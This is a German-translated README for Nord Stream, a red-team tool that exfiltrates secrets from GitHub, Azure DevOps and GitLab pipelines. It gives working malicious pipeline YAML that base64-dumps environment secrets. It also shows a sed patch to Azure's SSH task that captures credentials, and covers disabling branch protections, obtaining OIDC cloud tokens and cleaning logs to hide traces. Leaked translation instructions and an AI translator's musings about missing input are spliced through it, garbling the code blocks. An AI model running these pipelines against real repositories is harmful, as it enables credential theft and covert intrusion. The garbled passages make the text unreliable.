
Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab.
Nord Stream ist ein Tool, mit dem du in CI/CD-Umgebungen gespeicherte Geheimnisse extrahieren kannst, indem du bösartige Pipelines bereitstellst.
Es unterstützt derzeit Azure DevOps, GitHub und GitLab.
Weitere Informationen findest du im folgenden Blogbeitrag: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
`git` ist ebenfalls erforderlich (siehe https://git-scm.com/download/) und muss in Ihrem `PATH` vorhanden sein.
## Verwendung
Hier ist ein einfaches Beispiel auf GitHub; zunächst kann man die verschiedenen Geheimnisse auflisten.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
Fahren Sie dann mit der Exfiltration fort:```sh
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment
[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
### Gemeinsame Argumente
Einige Argumente werden zwischen [GitHub](#github), [Azure DevOps](#azure-devops) und [GitLab](#gitlab) gemeinsam verwendet. Hier sind einige Beispiele.
#### Token beschreiben
Die Option `--describe-token` kann verwendet werden, um allgemeine Informationen über dein Token anzuzeigen:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
Die Option --build-yaml kann verwendet werden, um eine Pipeline-Datei zu erstellen, ohne sie bereitzustellen. Sie ruft die verschiedenen Secret-Namen ab, um die zugehörige Pipeline zu erstellen, die zum Hinzufügen benutzerdefinierter Schritte verwendet werden kann:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
#### YAML
Die Option `--yaml` kann verwendet werden, um eine benutzerdefinierte Pipeline bereitzustellen:```yml
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
Translate the following Kitploit tool content. This is chunk 13 of 51 from a longer Markdown document being translated in sequence. The source language is en. Target language: de. Content type: README chunk 13/51.
CHUNK-SPECIFIC RULES:
INPUT:
The user didn't provide the actual chunk content after "INPUT:". That is odd. Perhaps it's a mistake; the user might have intended to paste the chunk but forgot. As an AI, I should respond that there is no content to translate. However, the instructions say "Do not ask questions. Do not engage in conversation." and "Return ONLY the translated text." So I might need to assume the input is empty and return empty. But I cannot just output nothing. I'll output an empty response? But I must follow the rules: "Return ONLY the translated text." If there is no text, I have nothing to translate. I'll just return nothing. However, that might not satisfy the user's expectation. Since the prompt says "Translate the following Kitploit tool content." and then there's nothing, I'll output an empty string. The assistant's response should be just the raw translation, so if input is missing, I can't translate. I'll respond with an empty message, but I should not add any meta-text. So I'll simply output nothing. But sometimes the AI must still produce something. I'll output a space? No, I'll output an empty string.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml
[+] "synacktiv/repo"
[*] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch
[*] Running custom workflow: .../custom.yml
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Workflow output:
2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here"
2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here"
2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0137261Z ##[endgroup]
2023-07-18T20:08:33.0422019Z Doing some important stuff here
[*] Cleaning logs.
[*] Check output: .../nord-stream-logs/github
Standardmäßig wird die Ausgabe der Aufgabe namens command des init-Jobs angezeigt, aber alles wird lokal gespeichert und kann manuell abgerufen werden:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
#### Clean logs
Standardmäßig versucht Nord Stream, Spuren zu entfernen, die nach einer Pipeline-Bereitstellung hinterlassen wurden, abhängig von Ihren Berechtigungen. Um Spuren zu erhalten, kann die Option `--no-clean` verwendet werden. Dadurch bleiben die Pipeline-Logs erhalten, aber die Änderungen am Repository werden trotzdem zurückgesetzt.
Beachten Sie, dass bei GitLab einige Spuren nicht gelöscht werden können.
#### Signieren von Commits
Repository-Administratoren können das Pflicht-Signieren von Commits für einen Branch erzwingen, um alle Commits zu blockieren, die nicht signiert und verifiziert sind. Mit Nord Stream ist es möglich, Commits zu signieren, um einen solchen Schutz zu umgehen.
Erstellen und importieren Sie zunächst Ihren GPG-Schlüssel auf der SCM-Plattform.```sh
$ gpg --full-generate-key
$ gpg --armor --export F94496913C43EFC5
$ gpg --list-secret-keys --keyid-format=long
sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23]
Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
uid [ultimate] test-gpg <[email protected]>
No input content was provided in this message. Please supply the chunk text to translate.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force [] Using branch: "main" [+] "synacktiv/repo" [] Getting secrets from environment: "prod" (synacktiv/repo) [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=my PROD_SECRET
No input content was provided in this chunk.```bash
$ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973
gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST
gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5
gpg: Good signature from "test-gpg <[email protected]>" [ultimate]
Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
Nord Stream kann die folgenden Arten von Geheimnissen extrahieren:
Azure DevOps bietet die Möglichkeit, Verbindungen mit externen und entfernten Diensten herzustellen, um Aufgaben in einem Job auszuführen. Dazu werden Dienstverbindungen verwendet. Eine Dienstverbindung enthält Anmeldeinformationen für eine Identität zu einem entfernten Dienst. Es gibt mehrere Arten von Dienstverbindungen in Azure DevOps.
Nord Stream unterstützt derzeit die Extraktion von Geheimnissen für die folgenden Arten von Dienstverbindungen:
Wenn du auf einen nicht unterstützten Typ stößt, öffne bitte ein Issue oder erstelle einen Pull-Request :)
Die Extraktion für diesen Dienstverbindungstyp war schmerzhaft zu implementieren. Die Ausgabe ist die folgende:``` hostname:::port:::user:::password:::privatekey
Wenn Sie es auf einem selbst gehosteten Runner ausführen möchten, können Sie Folgendes tun:```
$ nord-stream devops ... --build-yaml test.yml --build-type ssh
[+] YAML file:
trigger: none
pool:
vmImage: ubuntu-latest
steps:
- checkout: none
- script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js) ; cp $SSH_FILE $SSH_FILE.bak
; sed -i 's|const readyTimeout = getReadyTimeoutVariable();|const readyTimeout
= getReadyTimeoutVariable();\nconst fs = require("fs");var data = "";data += hostname
+ ":::" + port + ":::" + username + ":::" + password + ":::" + privateKey;fs.writeFile("/tmp/artefacts.tar.gz",
data, (err) => {});|' $SSH_FILE
displayName: Preparing Build artefacts
- task: SSH@0
inputs:
sshEndpoint: '#FIXME'
runOptions: commands
commands: sleep 1
- script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js); mv $SSH_FILE.bak
$SSH_FILE ; cat /tmp/artefacts.tar.gz | base64 -w0 | base64 -w0 ; echo ''
displayName: Build artefacts
Dann müssen Sie:
vmImage: ubuntu-latest in name: 'Self-Hosted pool name'#FIXME-Platzhalter ein.--yaml test.ymlWenn Sie dies auf einem Windows-Self-Hosted-Runner ausführen müssen, ändern Sie in der Methode generatePipelineForSSH _serviceConnectionTemplateSSH durch _serviceConnectionTemplateSSHWindows und führen Sie die zuvor beschriebenen Aktionen aus.
Hinweis: Für sowohl Windows- als auch Linux-Self-Hosted-Runner müssen Sie den Pfad (/home/vsts/work/_tasks/ oder D:\a\) an den Pfad anpassen, an dem der Runner bereitgestellt ist. Diese Informationen finden Sie auf der Registerkarte Capabilities eines Agents in Azure DevOps.
Mit einem Zugriffstoken ist es möglich, die mit einem Benutzer verknüpften Organisationen aufzulisten:``` $ nord-stream devops --token "eyJ0eXA..." --list-orgs [*] User orgs: - myorg - supersecretorg
Dies basiert auf [dieser Forschung](https://zolder.io/en/blog/devops-access-is-closer-than-you-assume/).
#### Hilfe```
$ nord-stream devops -h
CICD pipeline exploitation tool
Usage:
nord-stream devops [options] --token <pat> --org <org> [extraction] [--project <project> --write-filter --no-clean --branch-name <name> --pipeline-name <name> --repo-name <name>]
nord-stream devops [options] --token <pat> --org <org> --yaml <yaml> --project <project> [--write-filter --no-clean --branch-name <name> --pipeline-name <name> --repo-name <name>]
nord-stream devops [options] --token <pat> --org <org> --build-yaml <output> [--build-type <type>]
nord-stream devops [options] --token <pat> --org <org> --clean-logs [--project <project>]
nord-stream devops [options] --token <pat> --org <org> --list-projects [--write-filter]
nord-stream devops [options] --token <pat> --org <org> (--list-secrets [--project <project> --write-filter] | --list-users)
nord-stream devops [options] --token <pat> --org <org> --describe-token
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
-d, --debug Debug mode
--output-dir <dir> Output directory for logs
--ignore-cert Allow insecure server connections
Commit:
--user <user> User used to commit
--email <email> Email address used commit
--key-id <id> GPG primary key ID to sign commits
args:
--token <pat> Azure DevOps personal token or JWT
--org <org> Org name
-p, --project <project> Run on selected project (can be a file)
-y, --yaml <yaml> Run arbitrary job
--clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered.
--no-clean Don't clean pipeline logs (default false)
--list-projects List all projects.
--list-secrets List all secrets.
--list-users List all users.
--write-filter Filter projects where current user has write or admin access.
--build-yaml <output> Create a pipeline yaml file with default configuration.
--build-type <type> Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh
--describe-token Display information on the token
--branch-name <name> Use specific branch name for deployment.
--pipeline-name <name> Use pipeline for deployment.
--repo-name <name> Use specific repo for deployment.
Exctraction:
--extract <list> Extract following secrets [vg,sf,gh,az,aws,sonar,ssh]
--no-extract <list> Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]
Examples:
List all secrets from all projects
$ nord-stream devops --token "$PAT" --org myorg --list-secrets
Dump all secrets from all projects
$ nord-stream devops --token "$PAT" --org myorg
Authors: @hugow @0hexit
Die Option --list-protections kann verwendet werden, um die Schutzregeln aufzulisten, die auf einen Branch und auf Umgebungen angewendet werden:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections
[] Using branch: "main"
[] Checking security: "synacktiv/repo"
[] Found branch protection rule on "main" branch
[] Branch protections:
- enforce admins: True
- block creations: True
- required signatures: True
- allow force pushes: False
- allow deletions: False
- required pull request reviews: False
- required linear history: False
- required conversation resolution: False
- lock branch: False
- allow fork syncing: False
[] Environment protection for: "DEV":
- deployment branch policy: custom
[] No environment protection rule found for: "INT"
[*] Environment protection for: "PROD":
- deployment branch policy: custom
Abhängig von deinen Berechtigungen kannst du weniger Informationen haben, nur Administratoren können die vollständigen Details der Schutzmaßnahmen einsehen.
#### Schutzmaßnahmen deaktivieren
Die Option `--disable-protections` kann verwendet werden, um die auf einen Branch oder eine Umgebung angewendeten Schutzmaßnahmen vorübergehend zu deaktivieren, den Dump durchzuführen und alle Schutzmaßnahmen wiederherzustellen:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Found branch protection rule on "main" branch
[...]
[!] Removing branch protection, wait until it's restored.
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Environment protection for: "PROD":
- deployment branch policy: custom
[!] Modifying env protection, wait until it's restored.
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[!] Restoring env protections.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
[*] Cleaning logs.
[!] Restoring branch protection.
Dies erfordert Administratorrechte.
Standardmäßig führt Nord Stream die Geheimnisextraktion nicht durch, wenn auf einem Branch oder in einer Umgebung ein Schutz erkannt wird. Wenn Sie der Meinung sind, dass die Schutzmaßnahmen zu großzügig sind oder mit Ihren Berechtigungen umgangen werden können, kann die Option --force verwendet werden, um die Pipeline unabhängig von den Schutzmaßnahmen bereitzustellen.
OIDC (OpenID Connect) kann verwendet werden, um eine Verbindung zu Cloud-Diensten herzustellen. Die Grundidee besteht darin, autorisierten Pipelines oder Workflows zu ermöglichen, kurzlebige Zugriffstokens direkt von einem Cloud-Anbieter zu erhalten, ohne dass statische Geheimnisse involviert sind. Die Autorisierung basiert auf Vertrauensbeziehungen, die auf der Seite des Cloud-Anbieters konfiguriert sind und durch den Ursprung der Pipeline oder des Workflows bedingt werden.
Hier ist ein Beispiel für einen GitHub-Workflow mit OIDC:```yaml [...] steps: - name: OIDC Login to Azure Public Cloud uses: azure/login@v1 with: client-id: ${{ secrets.AZURE_CLIENT_ID }} tenant-id: ${{ secrets.AZURE_TENANT_ID }} subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional
Wenn Sie auf einen solchen Workflow stoßen, bedeutet dies, dass das Repository möglicherweise so konfiguriert ist, dass es ein kurzlebiges Zugriffstoken erhält, mit dem Sie auf Azure-Ressourcen zugreifen können.
Nord Stream kann eine Pipeline bereitstellen, um ein solches Zugriffstoken mit den folgenden Optionen abzurufen:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] No branch protection rule found on "main" branch
[*] Running OIDC Azure access tokens generation workflow
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] OIDC access tokens:
Access token to use with Azure Resource Manager API:
{
"accessToken":
"eyJ0eXAiOiJK[...]PVig",
"expiresOn": "2023-07-18 23:18:57.000000",
"subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2",
"tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2",
"tokenType": "Bearer"
}
Access token to use with MS Graph API:
{
"accessToken":
"eyJ0eXAi[...]_qTA",
"expiresOn": "2023-07-19 22:18:59.000000",
"subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2",
"tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2",
"tokenType": "Bearer"
}
Die Option --azure-subscription-id ist optional und kann verwendet werden, um ein Zugriffstoken für ein bestimmtes Abonnement zu erhalten.
Das gleiche Verfahren (siehe Azure OIDC) kann verwendet werden, um ein Sitzungstoken bei AWS zu erhalten.
Hier ist ein Beispiel für einen Workflow mit AWS OIDC:```yaml [...] steps: - name: Configure AWS Credentials uses: aws-actions/configure-aws-credentials@v1 with: role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole role-session-name: oidcrolesession aws-region: us-east-1
Wenn Sie auf einen solchen Workflow stoßen, bedeutet dies, dass das Repository möglicherweise so konfiguriert ist, dass es ein AWS-Zugriffstoken erhält, das Ihnen Zugriff auf AWS-Ressourcen gewähren kann.
Nord Stream ist in der Lage, eine Pipeline bereitzustellen, um ein solches Zugriffstoken mit den folgenden Optionen abzurufen:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force
[+] "Synacktiv/repo"
[*] Running OIDC AWS credentials generation workflow
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] OIDC credentials:
AWS_DEFAULT_REGION=us-east-1
AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6
AWS_REGION=us-east-1
AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO
AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA
$ nord-stream github -h CICD pipeline exploitation tool
Usage: nord-stream github [options] --token --org [--repo --no-repo --no-env --no-org --env --disable-protections --branch-name --no-clean (--key-id --user --email )] nord-stream github [options] --token --org --yaml --repo [--env --disable-protections --branch-name --no-clean (--key-id --user --email )] nord-stream github [options] --token --org ([--clean-logs] [--clean-branch-policy]) [--repo --branch-name ] nord-stream github [options] --token --org --build-yaml --repo [--env ] nord-stream github [options] --token --org --azure-tenant-id --azure-client-id [--azure-subscription-id --repo --env --disable-protections --branch-name --no-clean] nord-stream github [options] --token --org --aws-role --aws-region [--repo --env --disable-protections --branch-name --no-clean] nord-stream github [options] --token --org --list-protections [--repo --branch-name --disable-protections (--key-id --user --email )] nord-stream github [options] --token --org --list-secrets [--repo --no-repo --no-env --no-org] nord-stream github [options] --token [--org ] --list-repos [--write-filter] nord-stream github [options] --token --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Output directory for logsSigning: --key-id GPG primary key ID --user User used to sign commits --email Email address used to sign commits
args --token Github personal token --org Org name -r, --repo Run on selected repo (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean workflow logs (default false) --clean-branch-policy Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered. --build-yaml Create a pipeline yaml file with all secrets. --env Specify env for the yaml file creation. --no-repo Don't extract repo secrets. --no-env Don't extract environnments secrets. --no-org Don't extract organization secrets. --azure-tenant-id Identifier of the Azure tenant associated with the application having federated credentials (OIDC related). --azure-subscription-id Identifier of the Azure subscription associated with the application having federated credentials (OIDC related). --azure-client-id Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related). --aws-role AWS role to assume (OIDC related). --aws-region AWS region (OIDC related). --list-protections List all protections. --list-repos List all repos. --list-secrets List all secrets. --disable-protections Disable the branch protection rules (needs admin rights) --write-filter Filter repo where current user has write or admin access. --force Don't check environment and branch protections. --branch-name Use specific branch name for deployment. --describe-token Display information on the token
Examples: List all secrets from all repositories $ nord-stream github --token "$GHP" --org myorg --list-secrets
Dump all secrets from all repositories and try to disable branch protections
$ nord-stream github --token "$GHP" --org myorg --disable-protections
Authors: @hugow @0hexit
### GitLab
Wie im Artikel beschrieben, gibt es keine Möglichkeit, die Protokolle im Aktivitäts-Tab nach einer Pipeline-Bereitstellung zu entfernen. Dies muss bei Red-Team-Einsätzen berücksichtigt werden.
#### Geheimnisse auflisten
Die Option `--list-secrets` kann verwendet werden, um Geheimnisse aus GitLab aufzulisten und zu extrahieren.
Die Art und Weise, wie GitLab Geheimnisse verwaltet, unterscheidet sich ein wenig von Azure DevOps und GitHub action. Mit Administratorzugriff auf ein Projekt, eine Gruppe oder sogar Administratorzugriff auf die GitLab-Instanz ist es möglich, alle CI/CD-Variablen zu extrahieren, die definiert sind, ohne eine Pipeline bereitzustellen.
Für einen Benutzer mit geringen Berechtigungen ist es jedoch nicht möglich, die Geheimnisse aufzulisten, die auf Projekt-, Gruppen- oder Instanzebene definiert sind. Wenn Benutzer jedoch Schreibrechte für ein Projekt haben, können sie eine bösartige Pipeline bereitstellen, um die Umgebungsvariablen zu exfiltrieren, die die CI/CD-Variablen offenlegen. Das bedeutet, dass ein Benutzer mit geringen Berechtigungen keine Möglichkeit hat zu wissen, ob in einem bestimmten Projekt ein Geheimnis definiert ist. Der einzige Weg besteht darin, legitime Pipelines zu betrachten, die bereits in einem Projekt vorhanden sind, und zu prüfen, ob eine Pipeline sensible Umgebungsvariablen verwendet.
Hier ist eine Pipeline-Datei, um diesen Vorgang auf GitLab durchzuführen:```yaml
stages:
- synacktiv
deploy-production:
image: ubuntu:latest
stage: synacktiv
script:
- env | base64 -w0 | base64 -w 0
GitLab unterstützt auch Secure Files wie Azure DevOps. Secure Files werden auf Projektebene definiert. Wie bei den Variablen ist es nicht möglich, die Secure Files ohne Admin-Zugriff auf das Projekt aufzulisten. Mit Admin-Zugriff versucht nord-stream jedoch, die zu den Projekten gehörenden Secure Files zu exfiltrieren.
Dasselbe wie YAML, allerdings musst du den vollständigen Projektpfad angeben, wie folgt:```sh $ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml
Die Ausgabe des Befehls `--list-projects` gibt einen solchen Pfad zurück.
#### Schutzmaßnahmen auflisten
Wie bei [GitHub-Schutzmaßnahmen auflisten](#list-protections)
#### Hilfe```
$ nord-stream gitlab -h
CICD pipeline exploitation tool
Usage:
nord-stream gitlab [options] --token <pat> (--list-secrets | --list-protections) [--project <project> --group <group> --no-project --no-group --no-instance --write-filter]
nord-stream gitlab [options] --token <pat> ( --list-groups | --list-projects ) [--project <project> --group <group> --write-filter]
nord-stream gitlab [options] --token <pat> --yaml <yaml> --project <project> [--no-clean]
nord-stream gitlab [options] --token <pat> --clean-logs [--project <project>]
nord-stream gitlab [options] --token <pat> --describe-token
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
-d, --debug Debug mode
--output-dir <dir> Output directory for logs
--url <gitlab_url> Gitlab URL [default: https://gitlab.com]
--ignore-cert Allow insecure server connections
Commit:
--user <user> User used to commit
--email <email> Email address used commit
--key-id <id> GPG primary key ID to sign commits
args:
--token <pat> GitLab personal access token or _gitlab_session cookie
--project <project> Run on selected project (can be a file)
--group <group> Run on selected group (can be a file)
--list-secrets List all secrets.
--list-protections List branch protection rules.
--list-projects List all projects.
--list-groups List all groups.
--write-filter Filter repo where current user has developer access or more.
--no-project Don't extract project secrets.
--no-group Don't extract group secrets.
--no-instance Don't extract instance secrets.
-y, --yaml <yaml> Run arbitrary job
--branch-name <name> Use specific branch name for deployment.
--clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered.
--no-clean Don't clean pipeline logs (default false)
--describe-token Display information on the token
Examples:
Dump all secrets
$ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets
Deploy the custom pipeline on the master branch
$ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'
Authors: @hugow @0hexit
Bitte reichen Sie Fehler, Probleme, Fragen oder Feature-Wünsche unter „Issues“ ein oder senden Sie sie uns auf Twitter @hugow und @0hexit.